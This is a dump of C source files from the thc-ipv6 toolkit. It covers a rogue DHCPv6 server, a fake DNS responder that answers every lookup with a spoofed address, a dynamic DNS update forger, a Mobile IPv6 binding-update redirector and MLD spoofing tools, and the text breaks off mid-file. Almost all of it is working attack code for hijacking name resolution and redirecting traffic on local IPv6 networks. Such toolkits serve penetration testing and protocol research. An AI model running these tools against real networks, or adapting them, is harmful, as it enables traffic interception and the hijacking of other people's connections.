help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s interface network-address/prefix-length dns-server " "[dhcp-server-ip-address [mac-address]]\n\n", prg); printf( "Fake DHCPv6 server. Use to configure an address and set a DNS server\n"); exit(-1); } int main(int argc, char *argv[]) { char * routerip, *interface, mac[16] = ""; char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024]; unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3; unsigned char *dns; int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; unsigned long long int count = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (strcmp(argv[1], "-r") == 0) { // is ignored argv++; argc--; } memset(mac, 0, sizeof(mac)); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc >= 6 && (ptr = argv[5]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); if (argc >= 5 && argv[4] != NULL) ip6 = thc_resolve6(argv[4]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (argc >= 4 && argv[3] != NULL) dns = thc_resolve6(argv[3]); else dns = thc_resolve6("ff02::fb"); routerip = argv[2]; if ((ptr = index(routerip, '/')) == NULL) { printf( "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " "ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]); exit(-1); } if (size < 64) { fprintf( stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n"); size = 64; } if (size % 8 > 0) { size = ((size / 8) + 1) * 8; fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8); } csize = 8 - ((size - 64) / 8); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]); exit(-1); } /* if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); */ if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } if ((s = thc_bind_udp_port(547)) < 0) { fprintf(stderr, "Error: could not bind to 547/udp\n"); exit(-1); } if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) { fprintf(stderr, "Error: could not bind multicast address\n"); exit(-1); } if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } memset(mybuf, 0, sizeof(mybuf)); mybuf[1] = 2; mybuf[3] = 14; mybuf[5] = 1; mybuf[7] = 1; // mybuf + 8 == time memcpy(mybuf + 12, mac6, 6); mlen = 18; mybuf[mlen + 1] = 23; mybuf[mlen + 3] = 16; memcpy(mybuf + mlen + 4, dns, 16); mlen += 20; printf( "Starting to fake dhcp6 server on %s for %s (Press Control-C to end) " "...\n\n", interface, argv[2]); while (1) { memset((char *)&from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t)cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ((len = recvmsg(s, &mhdr, 0)) > 0) { fromlen = mhdr.msg_namelen; if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); switch (rdatabuf[0]) { case 1: ptr1 = "Solicitate"; break; case 2: ptr1 = "Advertise (illegal, ignored)"; break; case 3: ptr1 = "Request"; break; case 4: ptr1 = "Confirm"; break; case 5: ptr1 = "Renew"; break; case 6: ptr1 = "Rebind"; break; case 7: ptr1 = "Reply (illegal, ignored)"; break; case 8: ptr1 = "Release (ignored)"; break; case 9: ptr1 = "Decline (ignored)"; break; case 10: ptr1 = "Reconfigure (illegal, ignored)"; break; case 11: ptr1 = "Information Request (ignored)"; break; case 12: ptr1 = "Relay Forward (ignored)"; break; case 13: ptr1 = "Relay Reply (ignored)"; break; default: ptr1 = "Unknown (ignored)"; break; } printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2); free(ptr2); if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) { memset(wdatabuf, 0, sizeof(wdatabuf)); memcpy(wdatabuf + 1, rdatabuf + 1, 3); i = j = 4; k = -1; if (rdatabuf[0] == 1) { // initial request wdatabuf[0] = 2; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { if (rdatabuf[j + 1] == 1) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; } else if (rdatabuf[j + 1] == 3) { k = j; // just set a pointer } j += l + 4; } } // add 02, 23 j = time(NULL); memcpy(mybuf + 8, (char *)&j + _TAKE4, 4); memcpy(wdatabuf + i, mybuf, mlen); i += mlen; // now expand 3 if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) { // copy structure memcpy(wdatabuf + i, rdatabuf + k, 16); } else { // or create new wdatabuf[i + 1] = 3; memcpy(wdatabuf + i + 4, (char *)&j + _TAKE4, 4); // copy time as IAID } wdatabuf[i + 3] = 40; memset(wdatabuf + i + 8, 0, 8); wdatabuf[i + 10] = 0x7f; wdatabuf[i + 14] = 0xfe; i += 16; wdatabuf[i + 1] = 5; wdatabuf[i + 3] = 24; memcpy(wdatabuf + i + 4, routerip6, 16); // address count++; if (csize > 0) memcpy(wdatabuf + i + 4 + 16 - csize, (char *)&count, csize); // counter ptr3 = thc_ipv62notation(wdatabuf + i + 4); wdatabuf[i + 21] = 2; wdatabuf[i + 25] = 2; i += 28; } else { wdatabuf[0] = 7; m = 0; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { // just copy types 1-3 and 23 if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; if (rdatabuf[j + 1] == 23) k = 1; if (rdatabuf[j + 1] == 3) m = 1; } j += l + 4; } } if (k == -1) { memcpy(wdatabuf + i, mybuf + 18, 20); i += 20; } } len = i; if (debug) thc_dump_data(wdatabuf, len, "Reply Packet"); ddst.sin6_family = AF_INET6; ddst.sin6_port = htons(546); // ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ddst.sin6_scope_id = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_scope_id; if (sendto(t, wdatabuf, len, 0, (struct sockaddr *)&ddst, sizeof(ddst)) < 0) perror("Error:"); else { ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); if (wdatabuf[0] == 2) { printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3); free(ptr3); } else if (m) printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2); else printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2); free(ptr2); } } } } /* packet structure: 1 byte = type 3 bytes = sessionid while(packet data) { 2 bytes = type 2 bytes = length in bytes of following data ... defined fixed length data ... } server listen on ff02::1:2 udp 547 client connects from linklocal port 546, ttl 1 01 = solicit 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 16 bytes = 03 blob (want perm address) 5 + length + hostname = hostname 18 bytes = blob (vendor class, type 16) 12 bytes = blob (requested options, type 6) server sends to linklocal (respect client port), ttl 1 02 = advertise 3 bytes = sessionid (copy) 18 bytes = 01 blob (client copy of client-id) 8 bytes = 02 blob (server id + time + mac) 4 bytes = time 6 bytes = mac 0003 = give perm address 2 bytes = length 4 bytes = IAID (from client request!) 4 bytes = validity time 1 (1800) 4 bytes = validity time 2 (2880) 0005 = address structure 2 bytes = length (24 bytes) 16 bytes = address 4 bytes = validity time (3600) 4 byte = validity time (same) 0023 = dns option 2 bytes = length (16 bytes) 16 bytes = dns server address client sends to ff02::1:2 ! 03 = request 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 18 bytes = client (again) 18 bytes = server (copy) 44 bytes = address (copy) 5 + length + hostname = hostname (again) 18 bytes = blob again (vendor class, type 16) 12 bytes = blob again (requested options, type 6) server replies 7 = reply copy original advertise packet :-) */ return 0; // never reached } thc-ipv6-3.8/fake_dns6d.c000066400000000000000000000151601376121567700152160ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char mybuf[1024], mybuf2[28], *interface, lookup[256]; int mlen, rawmode = 0; char *mac6, *ip6; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface ipv6-address [fake-ipv6-address [fake-mac]]\n", prg); printf( "Fake DNS server that serves the same IPv6 address to any lookup " "request\n"); printf( "You can use this together with parasite6 if clients have a fixed DNS " "server\n"); printf( "Note: very simple server. Does not honor multiple queries in a packet, " "nor"); printf("NS, MX, etc. lookups.\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *)data, *ptr2, *ptr3, *dst6, *src6, *dmac = NULL, *pkt, *look, *lwrite = lookup; unsigned short int sport, dport; int len = header->caplen, plen = mlen, pkt_len; if (!rawmode) { if (do_hdr_size) { len -= do_hdr_size; ptr += do_hdr_size; if ((ptr[0] & 240) != 0x60) return; // dmac is ignored anyway } else { dmac = ptr + 6; len -= 14; ptr += 14; } } if (len < 70 || len > 800 || ptr[50] >= 128) return; look = ptr + 61; mybuf[0] = ptr[48]; // copy txid mybuf[1] = ptr[49]; sport = ptr[42] * 256 + ptr[43]; dport = ptr[40] * 256 + ptr[41]; src6 = ptr + 24; dst6 = ptr + 8; memcpy(mybuf + plen, ptr + 60, len - 60); plen += (len - 60); memcpy(mybuf + plen, mybuf2, sizeof(mybuf2)); plen += sizeof(mybuf2); if (src6[0] == 0xff && src6[1] < 16) // if the original dst is not a multicast address src6 = ip6; // then use this as a spoofed source if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return; if (thc_add_udp(pkt, &pkt_len, sport, dport, 0, mybuf, plen) < 0) return; thc_generate_and_send_pkt(interface, mac6, dmac, pkt, &pkt_len); do { if (*look > 0 && *look < '0') *lwrite = '.'; else *lwrite = *look; look++; lwrite++; } while (*look != 0 && look <= ptr + len - 4 && look <= ptr + 255 + 60); *lwrite = 0; ptr2 = thc_ipv62notation(dst6); ptr3 = thc_ipv62notation(src6); printf("Spoofed %s to %s as source %s\n", lookup, ptr2, ptr3); free(ptr2); free(ptr3); } int main(int argc, char *argv[]) { char mac[16] = "", *routerip6, *ptr; pcap_t *p; /* char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024]; */ // int size, i, j, k, l, m, s, len, t, u, csize = 0; /* socklen_t fromlen; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; unsigned long long int count = 0;*/ if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { // is ignored argv++; argc--; thc_ipv6_rawmode(1); rawmode = 1; } memset(mac, 0, sizeof(mac)); mac6 = mac; interface = argv[1]; if (argc >= 5 && (ptr = argv[4]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); if (argc >= 4 && argv[3] != NULL) ip6 = thc_resolve6(argv[3]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (mac6 == NULL || ip6 == NULL) { fprintf(stderr, "Error: invalid interface %s or invalid src mac/IP set\n", interface); exit(-1); } routerip6 = thc_resolve6(argv[2]); if (routerip6 == NULL) { fprintf(stderr, "Error: fake IPv6 answer option is invalid: %s\n", argv[2]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: fake answer IPv6 argument is invalid: %s\n", argv[3]); exit(-1); } if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } if ((p = thc_pcap_init_promisc( interface, "ip6 and udp and (dst port 53 or dst port 5353)")) == NULL) { fprintf(stderr, "Error: could not open interface %s in promisc mode\n", interface); exit(-1); } /* if ((s = thc_bind_udp_port(53)) < 0) { fprintf(stderr, "Warning: could not bind to 53/udp\n"); } else { thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")); fcntl(s, F_SETFL, O_NONBLOCK); } if ((t = thc_bind_udp_port(5353)) < 0) { fprintf(stderr, "Error: could not bind to 5353/udp\n"); exit(-1); } else { thc_bind_multicast_to_socket(t, interface, thc_resolve6("ff02::1:3")); fcntl(t, F_SETFL, O_NONBLOCK); } if ((u = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } */ memset(mybuf, 0, sizeof(mybuf)); mybuf[2] = 0x81; // flags mybuf[3] = 0x80; mybuf[5] = 1; // queries mybuf[7] = 1; // replies // no RRs, no add R mlen = 12; memset(mybuf2, 0, sizeof(mybuf2)); mybuf2[0] = 0xc0; // name mybuf2[1] = 0x0c; mybuf2[3] = 0x1c; // type aaaa mybuf2[5] = 0x01; // class IN mybuf2[8] = 0x04; // ttl (1024 seconds == 0x00000400) mybuf2[11] = 0x10; // length 16 memcpy(mybuf2 + 12, routerip6, 16); printf( "Starting fake dns6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]); while (1) thc_pcap_check(p, (char *)check_packets, NULL); /* while(1) { memset((char*)&from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t)cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ( (s >= 0 && (len = recvmsg(s, &mhdr, 0)) > 0) || (t >= 0 && (len = recvmsg(t, &mhdr, 0)) > 0)) { fromlen = mhdr.msg_namelen; if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char*)&ddst.sin6_addr); // data in rdatabuf, ipv6string in ptr2 // . // . } else usleep(200); } */ return 0; // never reached } thc-ipv6-3.8/fake_dnsupdate6.c000066400000000000000000000067401376121567700162610ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void noreply(int signo) { printf("Result: DNS server timeout\n"); exit(1); } int main(int argc, char **argv) { char buf[1024], *dst, *host, *domain, *ptr, *ptr2; char b1[] = {0x28, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00}; char b2[] = {0x00, 0x06, 0x00, 0x01}; char b3[] = {0xc0, 0x0c, 0x00, 0x1c, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char b4[] = {0xc0, 0x00, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x01, 0x51, 0x80, 0x00, 0x10}; struct addrinfo *ai; struct addrinfo hints; int sock, pid = getpid(), dlen = 0, i = 0, len; if (argc != 4) { printf("%s %s (c) 2020 by %s %s\n\n", argv[0], VERSION, AUTHOR, RESOURCE); printf("Syntax: %s dns-server full-qualified-host-dns-name ipv6address\n\n", argv[0]); printf("Example: %s dns.test.com myhost.sub.test.com ::1\n\n", argv[0]); exit(0); } if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = IPPROTO_UDP; if (getaddrinfo(argv[1], "53", &hints, &ai) != 0) { fprintf(stderr, "Error: unable to resolve dns server %s\n", argv[1]); exit(-1); } if ((sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) < 0) { fprintf(stderr, "Error: unable to resolve dns server %s\n", argv[1]); exit(-1); } if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { fprintf(stderr, "Error: unable to connect to dns server %s\n", argv[1]); exit(-1); } freeaddrinfo(ai); if ((dst = thc_resolve6(argv[3])) == NULL) { fprintf(stderr, "Error: not a valid IPv6 address: %s\n", argv[3]); exit(-1); } memcpy(buf, (char *)&pid + _TAKE2, 2); memcpy(buf + 2, b1, sizeof(b1)); i = 2 + sizeof(b1); // domain-encoded-here foo.com == \x03foo\x03com\x00 == dlen host = argv[2]; if ((domain = index(argv[2], '.')) == NULL) { fprintf(stderr, "Error: not a valid full-qualified-host-name: %s\n", argv[2]); exit(-1); } *domain = 0; ptr = domain; do { ptr++; if ((ptr2 = index(ptr, '.')) != NULL) *ptr2 = 0; len = strlen(ptr); buf[i++] = len; memcpy(buf + i, ptr, len); i += len; dlen += (len + 1); ptr = ptr2; } while (ptr != NULL); buf[i++] = 0; dlen++; memcpy(buf + i, b2, sizeof(b2)); i += sizeof(b2); // host-encoded len = strlen(host); buf[i++] = len; memcpy(buf + i, host, len); i += len; memcpy(buf + i, b3, sizeof(b3)); i += sizeof(b3); b4[1] = dlen + 16; memcpy(buf + i, b4, sizeof(b4)); i += sizeof(b4); memcpy(buf + i, dst, 16); i += 16; send(sock, buf, i, 0); signal(SIGALRM, noreply); alarm(5); memset(buf, 0, sizeof(buf)); recv(sock, buf, sizeof(buf), 0); alarm(0); if ((buf[3] & 9) == 9) { printf("Result: server not responsible for zone or update not supported\n"); exit(1); } else if ((buf[3] & 15) == 1) { printf("Result: authentication required, update attempt failed\n"); exit(1); } else if ((buf[3] & 1) == 1) { printf("Result: unknown error, update attempt failed\n"); exit(1); } else printf("Result: update successful!\n"); close(sock); return 0; } thc-ipv6-3.8/fake_mipv6.c000066400000000000000000000050531376121567700152410ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char buf[64]; int buf_len = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s interface home-address home-agent-address " "care-of-address\n\n", prg); printf( "If the mobile IPv6 home-agent is mis-configured to accept MIPV6 updates " "without\n"); printf( "IPSEC, this will redirect all packets for home-address to " "care-of-address\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL; unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL; int pkt1_len = 0, rawmode = 0; unsigned int id = 2, i; char * interface; thc_ipv6_hdr * hdr; if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } interface = argv[1]; h = thc_resolve6(argv[2]); ha = thc_resolve6(argv[3]); coa = thc_resolve6(argv[4]); if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } for (i = 0; i < 4; i++) { memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 2; buf[4] = 201; buf[5] = 16; memcpy(&buf[6], h, 16); buf_len = 22; if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, coa, ha, 64, 0, 0, 0, 0)) == NULL) return -1; hdr = (thc_ipv6_hdr *)pkt1; hdr->original_src = h; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 59; buf[1] = 3; buf[2] = 5; buf[3] = 0; buf[6] = (id % 65536) / 256; buf[7] = id % 256; buf[8] = 192; buf[10] = 0xff; buf[11] = 0xff; buf[12] = 1; buf[14] = 3; buf[15] = 16; memcpy(&buf[16], coa, 16); buf_len = 32; if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0) return -1; thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len); id += 16384; } return 0; } thc-ipv6-3.8/fake_mld26.c000066400000000000000000000156231376121567700151300ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int rawmode = 0; char *multicast6 = NULL; int empty = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-l] interface add|delete|query [multicast-address " "[target-address-to-subscribe-from [ttl [own-ip [own-mac-address " "[destination-mac-address]]]]]]\n\n", prg); printf( "This uses the MLDv2 protocol. Only a subset of what the protocol is " "able to\n"); printf( "do is possible to implement via a command line. Code it if you need " "something.\n"); printf( "Ad(d)vertise or delete yourself - or anyone you want - in a multicast " "group of your choice\n"); printf("Query ask on the network who is listening to multicast addresses\n"); printf( "Use -l to loop and send (in 5s intervals) until Control-C is " "pressed.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *)data; int i, j = 0, offset = 56, len = header->caplen; if (rawmode == 0) { ptr += 14; len -= 14; } if (do_hdr_size) { ptr += (do_hdr_size - 14); len -= (do_hdr_size - 14); if ((ptr[0] & 240) != 0x60) return; } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (ptr[6] == 0 && ptr[40] == 0x3a && ptr[41] == 0 && ptr[42] == 5 && ptr[48] == ICMP6_MLD2_REPORT && len >= 76) if (empty == 1 || memcmp(multicast6, ptr + 60, 16) == 0) { i = ptr[55]; while (j < i) { if (ptr[offset] % 2 == 1) printf("MLD Report: %s is listening on %s\n", thc_ipv62notation(ptr + 8), thc_ipv62notation(ptr + offset + 4)); if (ptr[offset] % 2 == 0) printf("MLD Report: %s was listening on %s\n", thc_ipv62notation(ptr + 8), thc_ipv62notation(ptr + offset + 4)); j++; offset += ptr[57] * 4 + 20 + ptr[58] * 256 * 16 + ptr[59] * 16; if (offset > len - 20) // packet shorter than it should be j = i; } } if (ptr[6] == 0 && ptr[40] == 0x3a && ptr[41] == 0 && ptr[42] == 5 && ptr[48] == ICMP6_MLD_REPORT && len >= 72) if (empty == 1 || memcmp(multicast6, ptr + 56, 16) == 0) printf("MLD Report: %s is listening on %s\n", thc_ipv62notation(ptr + 8), thc_ipv62notation(ptr + 56)); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[36]; unsigned char *dst6 = NULL, *src6 = NULL, *target6, srcmac[16] = "", *mac = srcmac, dstmac[16] = "", *dmac = dstmac; int pkt1_len = 0, buflen = 36, i = 0, j; char * interface, string[64] = "ip6 and not udp and not tcp"; int ttl = 1, mode = 0, wait = 1, loop = 0, actionmode = 0; pcap_t *p; memset(buf, 0, sizeof(buf)); if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-l") == 0) { loop = 1; argv++; argc--; } if (argc > 1 && argv[0] != NULL && strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if (strncasecmp(argv[2], "add", 3) == 0) { mode = ICMP6_MLD2_REPORT; actionmode = 3; } if (strncasecmp(argv[2], "del", 3) == 0) { mode = ICMP6_MLD2_REPORT; actionmode = 4; } if (strncasecmp(argv[2], "que", 3) == 0) { mode = ICMP6_MLD_QUERY; wait = 0x0444 << 16; buflen = 20; } if (mode == 0) { fprintf(stderr, "Error: no mode defined, specify add, delete or query\n"); exit(-1); } if (argc == 3 || argv[3] == NULL || argv[3][0] == 0) { multicast6 = thc_resolve6("::"); empty = 1; } else { if ((multicast6 = thc_resolve6(argv[3])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[3]); exit(-1); } for (j = 0; j < 16; j++) i += multicast6[j]; if (i == 0) empty = 1; } if (mode == ICMP6_MLD_QUERY) { if (memcmp(multicast6, buf, 16)) dst6 = multicast6; else dst6 = thc_resolve6("ff02::1"); } else dst6 = thc_resolve6("ff02::16"); if (argv[5] != NULL && argc > 5) ttl = atoi(argv[5]); if (argv[6] != NULL && argc > 6) src6 = thc_resolve6(argv[6]); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (argv[4] != NULL && argc > 4) target6 = thc_resolve6(argv[4]); else target6 = NULL; if (rawmode == 0) { if (argv[7] != NULL && argc > 7) sscanf(argv[7], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); else mac = thc_get_own_mac(interface); if (argv[8] != NULL && argc > 8) sscanf(argv[8], "%x:%x:%x:%x:%x:%x", (unsigned int *)&dstmac[0], (unsigned int *)&dstmac[1], (unsigned int *)&dstmac[2], (unsigned int *)&dstmac[3], (unsigned int *)&dstmac[4], (unsigned int *)&dstmac[5]); else dmac = NULL; } if ((p = thc_pcap_init_promisc(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, dst6, ttl, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 5; buf[1] = 2; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf, 6) < 0) return -1; memset(buf, 0, sizeof(buf)); if (mode == ICMP6_MLD_QUERY) { memcpy(buf, multicast6, 16); buf[16] = 7; buf[17] = 120; } else { buf[0] = actionmode; memcpy(buf + 4, multicast6, 16); if (target6 != NULL) { buf[3] = 1; memcpy(buf + 20, target6, 16); } } if (thc_add_icmp6(pkt1, &pkt1_len, mode, 0, wait, (unsigned char *)&buf, buflen, 0) < 0) return -1; if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Sending packet%s for %s%s\n", loop ? "s" : "", empty ? "::" : argv[3], loop ? " (Press Control-C to end)" : ""); do { thc_send_pkt(interface, pkt1, &pkt1_len); if (mode == ICMP6_MLD_QUERY) { sleep(5); while (thc_pcap_check(p, (char *)check_packets, NULL)) ; } } while (loop); return 0; // never reached } thc-ipv6-3.8/fake_mld6.c000066400000000000000000000125561376121567700150500ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int rawmode = 0; char *multicast6 = NULL; int empty = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-l] interface add|delete|query [multicast-address [ttl " "[own-ip [own-mac-address [destination-mac-address]]]]]\n\n", prg); printf( "Ad(d)vertise or delete yourself - or anyone you want - in a multicast " "group of your choice\n"); printf("Query ask on the network who is listening to multicast addresses\n"); printf( "Use -l to loop and send (in 5s intervals) until Control-C is " "pressed.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ptr = (unsigned char *)data, len = header->caplen - 14; if (rawmode == 0) ptr += 14; if (do_hdr_size) { ptr += (do_hdr_size - 14); len -= (do_hdr_size - 14); if ((ptr[0] & 240) != 0x60) return; } if (debug) thc_dump_data(ptr, len, "Received Packet"); if (ptr[6] == 0 && ptr[40] == 0x3a && ptr[41] == 0 && ptr[42] == 5 && ptr[48] == ICMP6_MLD_REPORT && len >= 72) if (empty == 1 || memcmp(multicast6, ptr + 56, 16) == 0) printf("MLD Report: 